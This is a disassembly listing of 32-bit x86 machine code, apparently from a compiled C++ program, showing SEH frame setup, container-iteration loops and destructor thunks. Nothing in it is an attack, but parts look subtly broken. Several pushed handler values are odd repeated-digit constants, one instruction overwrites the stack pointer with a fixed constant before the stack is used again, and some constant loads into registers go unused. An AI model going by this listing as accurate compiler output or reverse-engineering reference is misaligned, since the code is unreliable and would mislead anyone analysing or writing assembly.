mov large fs:0, esp
push ecx
mov eax, [esp+20h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_4017A8
mov edx, [esp+38h]
sub esp, 18h
mov ecx, esp
mov [esp+54h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_4017A8
mov eax, [esp+4Ch]
sub esp, 18h
mov ecx, esp
mov [esp+68h], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_4017A8
mov edx, [esp+60h]
sub esp, 18h
mov ecx, esp
mov [esp+7Ch], esp
push edx
mov byte ptr [esp+74h], 2
call sub_4017A8
mov ecx, esi
mov dword ptr [esp+70h], 0FFFFFFFFh
call sub_40132F
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 10h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413260 proc near ; CODE XREF: sub_401C80j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push 54DBA1h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
lea ecx, [esp+18h+var_14]
mov [esp+18h+var_4], 0
mov [esp+18h+var_10], 0
call sub_401CE9
mov eax, [esp+18h+arg_18]
lea ecx, [esp+18h+arg_18]
push ecx
lea esi, [eax+54h]
mov ecx, esi
call sub_4012B2
mov edx, [eax]
lea eax, [esp+18h+arg_18]
push eax
mov ecx, esi
mov [esp+1Ch+var_14], edx
call sub_401C62
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401C35
test al, al
jz short loc_413310
loc_4132C5: ; CODE XREF: sub_413260+AEj
lea ecx, [esp+18h+arg_0]
push ecx
lea ecx, [esp+1Ch+var_14]
call sub_401E51
mov ecx, [eax]
call sub_401A7D
test eax, eax
jnz short loc_4132ED
lea ecx, [esp+18h+var_14]
call sub_401E51
mov edx, [eax]
mov [esp+18h+var_10], edx
loc_4132ED: ; CODE XREF: sub_413260+7Cj
lea ecx, [esp+18h+var_14]
call sub_401F2D
lea eax, [esp+18h+arg_18]
mov ecx, esi
push eax
call sub_401C62
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401C35
test al, al
jnz short loc_4132C5
loc_413310: ; CODE XREF: sub_413260+63j
mov eax, [esp+18h+var_10]
test eax, eax
jz short loc_413358
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_40122B
mov ecx, [esp+18h+var_10]
test ecx, ecx
jz short loc_413333
push 1
call sub_401906
loc_413333: ; CODE XREF: sub_413260+CAj
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, 1
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 1Ch
; ---------------------------------------------------------------------------
loc_413358: ; CODE XREF: sub_413260+B6j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+18h+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 14h
retn 1Ch
sub_413260 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4133D0 proc near ; CODE XREF: sub_401906j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402086
test [esp+4+arg_0], 1
jz short loc_4133E8
push esi
call sub_430332
add esp, 4
loc_4133E8: ; CODE XREF: sub_4133D0+Dj
mov eax, esi
pop esi
retn 4
sub_4133D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_413400 proc near ; CODE XREF: sub_402086j
jmp sub_4011F9
sub_413400 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413420: ; CODE XREF: _294ADE7B:00401244j
push 0FFFFFFFFh
push 2A6DD0h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
push edi
mov ebp, ecx
xor ebx, ebx
push 5536E8h
lea eax, [esp+1Ch]
push ebx
push eax
lea ecx, [esp+4Ch]
mov [esp+44h], ebx
mov byte ptr [esp+1Fh], 1
xor esi, esi
call sub_401622
push 2A9B74h
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012B7
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_4011F9
cmp edi, ebx
jz short loc_4134E9
loc_413483: ; CODE XREF: _294ADE7B:004134E7j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+44h]
sub esp, 18h
mov edx, esp
mov [esp+30h], esp
push 154DBAh
push esi
push edx
call sub_401622
mov ecx, ebp
call sub_401C80
cmp al, bl
jnz short loc_4134B0
mov [esp+13h], bl
loc_4134B0: ; CODE XREF: _294ADE7B:004134AAj
inc esi
push offset byte_4AA6DD
lea eax, [esp+1Ch]
push esi
push eax
lea ecx, [esp+4Ch]
call sub_401622
push 65536Eh
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012B7
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_4011F9
cmp edi, ebx
jnz short loc_413483
loc_4134E9: ; CODE XREF: _294ADE7B:00413481j
lea ecx, [esp+40h]
mov dword ptr [esp+38h], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+30h]
mov al, [esp+13h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 2Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413560 proc near ; CODE XREF: sub_401F87j
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push 32A9B7h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+1Ch+arg_0]
mov [esp+1Ch+var_4], 1
call sub_401726
test eax, eax
jz loc_413694
lea ecx, [esp+1Ch+var_18]
mov [esp+1Ch+var_14], 0
call sub_4020B3
add esi, 6Ch
lea eax, [esp+1Ch+var_10]
push eax
mov ecx, esi
call sub_40181B
mov ecx, [eax]
lea edx, [esp+1Ch+var_10]
mov [esp+1Ch+var_18], ecx
push edx
mov ecx, esi
call sub_40112C
push eax
lea ecx, [esp+20h+var_18]
call sub_4012F8
test al, al
jz short loc_41363E
loc_4135D4: ; CODE XREF: sub_413560+DCj
lea eax, [esp+1Ch+arg_0]
lea ecx, [esp+1Ch+var_18]
push eax
call sub_401311
mov ecx, [eax]
add ecx, 4
call sub_401A7D
test eax, eax
jz short loc_41360C
lea ecx, [esp+1Ch+arg_18]
push ecx
lea ecx, [esp+20h+var_18]
call sub_401311
mov ecx, [eax]
add ecx, 19h
call sub_401A7D
test eax, eax
jnz short loc_41361B
loc_41360C: ; CODE XREF: sub_413560+8Ej
lea ecx, [esp+1Ch+var_18]
call sub_401311
mov edx, [eax]
mov [esp+1Ch+var_14], edx
loc_41361B: ; CODE XREF: sub_413560+AAj
lea ecx, [esp+1Ch+var_18]
call sub_401168
lea eax, [esp+1Ch+var_10]
mov ecx, esi
push eax
call sub_40112C
push eax
lea ecx, [esp+20h+var_18]
call sub_4012F8
test al, al
jnz short loc_4135D4
loc_41363E: ; CODE XREF: sub_413560+72j
mov eax, [esp+1Ch+var_14]
test eax, eax
jz short loc_413694
lea ecx, [esp+1Ch+var_14]
push ecx
mov ecx, esi
call sub_401FA5
mov ecx, [esp+1Ch+var_14]
test ecx, ecx
jz short loc_413661
push 1
call sub_401668
loc_413661: ; CODE XREF: sub_413560+F8j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_4011F9
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, 1
pop esi
mov ecx, [esp+18h+var_C]
mov large fs:0, ecx
add esp, 18h
retn 30h
; ---------------------------------------------------------------------------
loc_413694: ; CODE XREF: sub_413560+2Ej
; sub_413560+E4j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_4011F9
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+1Ch+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 30h
sub_413560 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413730 proc near ; CODE XREF: sub_401668j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401979
test [esp+4+arg_0], 1
jz short loc_413748
push esi
call sub_430332
add esp, 4
loc_413748: ; CODE XREF: sub_413730+Dj
mov eax, esi
pop esi
retn 4
sub_413730 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413760 proc near ; CODE XREF: sub_401979j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 1954DBh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+43h]
mov [esp+14h+var_4], 2
call sub_4011F9
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_4011F9
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_4011F9
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_413760 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4137F0: ; CODE XREF: _294ADE7B:00401352j
push 0FFFFFFFFh
push 4CAA6Dh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_4017A8
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_4017A8
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_401F87
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413880: ; CODE XREF: _294ADE7B:00401A3Cj
push 0FFFFFFFFh
push 665536h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0
call sub_401726
test eax, eax
jz loc_413987
lea ecx, [esp+4]
mov dword ptr [esp+8], 0
call sub_401032
add esi, 60h
lea eax, [esp+0Ch]
push eax
mov ecx, esi
call sub_4018AC
mov ecx, [eax]
lea edx, [esp+0Ch]
mov [esp+4], ecx
push edx
mov ecx, esi
call sub_402095
push eax
lea ecx, [esp+8]
call sub_4019F6
test al, al
jz short loc_41393F
loc_4138F4: ; CODE XREF: _294ADE7B:0041393Dj
lea eax, [esp+20h]
lea ecx, [esp+4]
push eax
call sub_4011A9
mov ecx, [eax]
call sub_401A7D
test eax, eax
jnz short loc_41391C
lea ecx, [esp+4]
call sub_4011A9
mov ecx, [eax]
mov [esp+8], ecx
loc_41391C: ; CODE XREF: _294ADE7B:0041390Bj
lea ecx, [esp+4]
call sub_4017E9
lea edx, [esp+0Ch]
mov ecx, esi
push edx
call sub_402095
push eax
lea ecx, [esp+8]
call sub_4019F6
test al, al
jnz short loc_4138F4
loc_41393F: ; CODE XREF: _294ADE7B:004138F2j
mov eax, [esp+8]
test eax, eax
jz short loc_413987
lea eax, [esp+8]
mov ecx, esi
push eax
call sub_401136
mov ecx, [esp+8]
test ecx, ecx
jz short loc_413962
push 1
call sub_40119F
loc_413962: ; CODE XREF: _294ADE7B:00413959j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_4011F9
mov al, 1
pop esi
mov ecx, [esp+0Ch]
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_413987: ; CODE XREF: _294ADE7B:004138AEj
; _294ADE7B:00413945j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+10h]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413A00 proc near ; CODE XREF: sub_40119Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A50
test [esp+4+arg_0], 1
jz short loc_413A18
push esi
call sub_430332
add esp, 4
loc_413A18: ; CODE XREF: sub_413A00+Dj
mov eax, esi
pop esi
retn 4
sub_413A00 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413A30 proc near ; CODE XREF: sub_401A50j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 332A9Bh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+54h]
mov [esp+14h+var_4], 3
call sub_40150A
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_4011F9
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_4011F9
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_4011F9
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_413A30 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413AD0 proc near ; CODE XREF: sub_401465j
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push 19954Dh
push eax
mov large fs:0, esp
sub esp, 40h
push ebx
push esi
mov esi, [esp+54h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+32h]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_413BCB
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push eax
call sub_40146F
sub esp, 18h
mov [esp+88h+var_4], 0
mov ecx, esp
mov [esp+88h+var_4C], esp
push 0CCAA6h
call sub_4017A8
or ebx, 0FFFFFFFFh
mov ebp, 22332Ah
mov [esp+88h+var_4], ebx
call sub_401F87
test al, al
jz loc_413D00
push 0
push 5
push 19h
push 2
push 4
push 0Fh
push 0Fh
lea ecx, [esp+74h+var_3C]
push 21h
push ecx
call sub_4018DE
add esp, 24h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 1
call sub_401479
push eax
mov ecx, edi
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ebp, 832332h
call sub_4010FF
lea ecx, [esp+58h+var_3C]
mov [esp+58h+var_4], ebx
call sub_4011F9
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_413BCB: ; CODE XREF: sub_413AD0+36j
lea ecx, [edi+4]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_413D00
sub esp, 18h
lea edx, [esi+54h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push edx
call sub_40146F
sub esp, 18h
lea eax, [esi+3Fh]
mov ecx, esp
mov [esp+88h+var_4C], esp
push eax
mov [esp+8Ch+var_4], 2
call sub_40146F
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0A0h+var_48], esp
push edx
mov byte ptr [esp+0A4h+var_4], 3
call sub_40146F
sub esp, 18h
mov ecx, esi
mov eax, esp
mov [esp+0B8h+var_44], esp
push 1
push offset byte_499199
push 2
push eax
mov byte ptr [esp+0C8h+var_4], 4
call sub_4011C2
sub esp, 18h
mov byte ptr [esp+0D0h+var_4], 5
mov ecx, esp
mov [esp+0D0h+var_40], esp
push 1
push 24C8CCh
push 1
push ecx
mov ecx, esi
call sub_4011C2
or ebx, 0FFFFFFFFh
mov esp, 0E52646h
mov [esp+0D0h+var_4], ebx
call sub_4017D0
test al, al
jz short loc_413D00
push 0
push 4
push 5
push 14h
push 10h
push 5
push 3
push 3
lea edx, [esp+78h+var_24]
push 1Bh
push edx
call sub_4018DE
add esp, 28h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 6
call sub_401479
push eax
mov ecx, edi
call sub_401479
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov edx, 4F9499h
call sub_4010FF
lea ecx, [esp+58h+var_24]
mov [esp+58h+var_4], ebx
call sub_4011F9
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_413D00: ; CODE XREF: sub_413AD0+82j
; sub_413AD0+10Dj ...
mov ecx, [esp+58h+var_C]
pop edi
pop esi
xor al, al
mov large fs:0, ecx
pop ebx
add esp, 4Ch
retn 4
sub_413AD0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413DC0 proc near ; CODE XREF: sub_4012E9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401D7F
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_413DC0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413E00 proc near ; CODE XREF: sub_401681j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
push 0
push 0
mov al, [edi]
mov [esi], al
call sub_401D7F
lea ecx, [esp+10h+arg_0]
mov [esi+4], eax
push ecx
mov ecx, edi
mov dword ptr [esi+8], 0
call sub_40163B
mov edx, [eax]
lea eax, [esp+10h+var_8]
push edx
push eax
mov ecx, edi
call sub_40111D
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_4012B2
mov eax, [eax]
mov ecx, esi
push eax
call sub_401690
mov eax, esi
pop edi
pop esi
add esp, 8
retn 4
sub_413E00 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413E80 proc near ; CODE XREF: sub_40150Aj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C62
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4012B2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401410
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401BB3
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
sub_413E80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413EF0 proc near ; CODE XREF: sub_4012B2j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401F14
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401C7B
mov eax, esi
pop esi
retn 4
sub_413EF0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413F30 proc near ; CODE XREF: sub_401C62j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401C7B
mov eax, esi
pop esi
retn 4
sub_413F30 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413F60 proc near ; CODE XREF: sub_401429j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401C62
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401FD2
pop esi
pop ecx
retn 4
sub_413F60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413FA0 proc near ; CODE XREF: sub_40122Bj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_401C62
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_4012B2
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401C35
test al, al
jz short loc_414021
push edi
mov edi, [esp+14h+arg_0]
loc_413FD3: ; CODE XREF: sub_413FA0+7Ej
lea ecx, [esp+14h+var_C]
call sub_401E51
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_414005
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_401505
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_401E56
jmp short loc_41400E
; ---------------------------------------------------------------------------
loc_414005: ; CODE XREF: sub_413FA0+42j
lea ecx, [esp+14h+var_C]
call sub_401F2D
loc_41400E: ; CODE XREF: sub_413FA0+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401C35
test al, al
jnz short loc_413FD3
pop edi
loc_414021: ; CODE XREF: sub_413FA0+2Cj
pop esi
add esp, 0Ch
retn 4
sub_413FA0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414060 proc near ; CODE XREF: sub_401CE9j
push esi
mov esi, ecx
call sub_401D7A
mov eax, esi
pop esi
retn
sub_414060 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414080 proc near ; CODE XREF: sub_401E51j
mov eax, [ecx]
push eax
call sub_401DC0
add esp, 4
retn
sub_414080 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4140A0 proc near ; CODE XREF: sub_401F2Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401F14
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_4140A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4140D0 proc near ; CODE XREF: sub_401C35j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40155A
neg al
sbb eax, eax
inc eax
retn 4
sub_4140D0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414100 proc near ; CODE XREF: sub_401DCAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401B5E
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_414100 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414140 proc near ; CODE XREF: sub_401195j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402095
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4018AC
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4012EE
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401CE4
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
sub_414140 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4141B0 proc near ; CODE XREF: sub_4018ACj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40121C
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401BA4
mov eax, esi
pop esi
retn 4
sub_4141B0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4141F0 proc near ; CODE XREF: sub_402095j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401BA4
mov eax, esi
pop esi
retn 4
sub_4141F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414220 proc near ; CODE XREF: sub_401DB6j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_402095
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4019B5
pop esi
pop ecx
retn 4
sub_414220 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414260 proc near ; CODE XREF: sub_40184Dj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402095
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4018AC
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4012EE
pop esi
add esp, 0Ch
retn
sub_414260 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4142B0 proc near ; CODE XREF: sub_401136j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_402095
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_4018AC
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_4019F6
test al, al
jz short loc_414331
push edi
mov edi, [esp+14h+arg_0]
loc_4142E3: ; CODE XREF: sub_4142B0+7Ej
lea ecx, [esp+14h+var_C]
call sub_4011A9
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_414315
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_4010C8
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_401721
jmp short loc_41431E
; ---------------------------------------------------------------------------
loc_414315: ; CODE XREF: sub_4142B0+42j
lea ecx, [esp+14h+var_C]
call sub_4017E9
loc_41431E: ; CODE XREF: sub_4142B0+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_4019F6
test al, al
jnz short loc_4142E3
pop edi
loc_414331: ; CODE XREF: sub_4142B0+2Cj
pop esi
add esp, 0Ch
retn 4
sub_4142B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414370 proc near ; CODE XREF: sub_401032j
push esi
mov esi, ecx
call sub_401D3E
mov eax, esi
pop esi
retn
sub_414370 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414390 proc near ; CODE XREF: sub_4011A9j
mov eax, [ecx]
push eax
call sub_401F9B
add esp, 4
retn
sub_414390 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
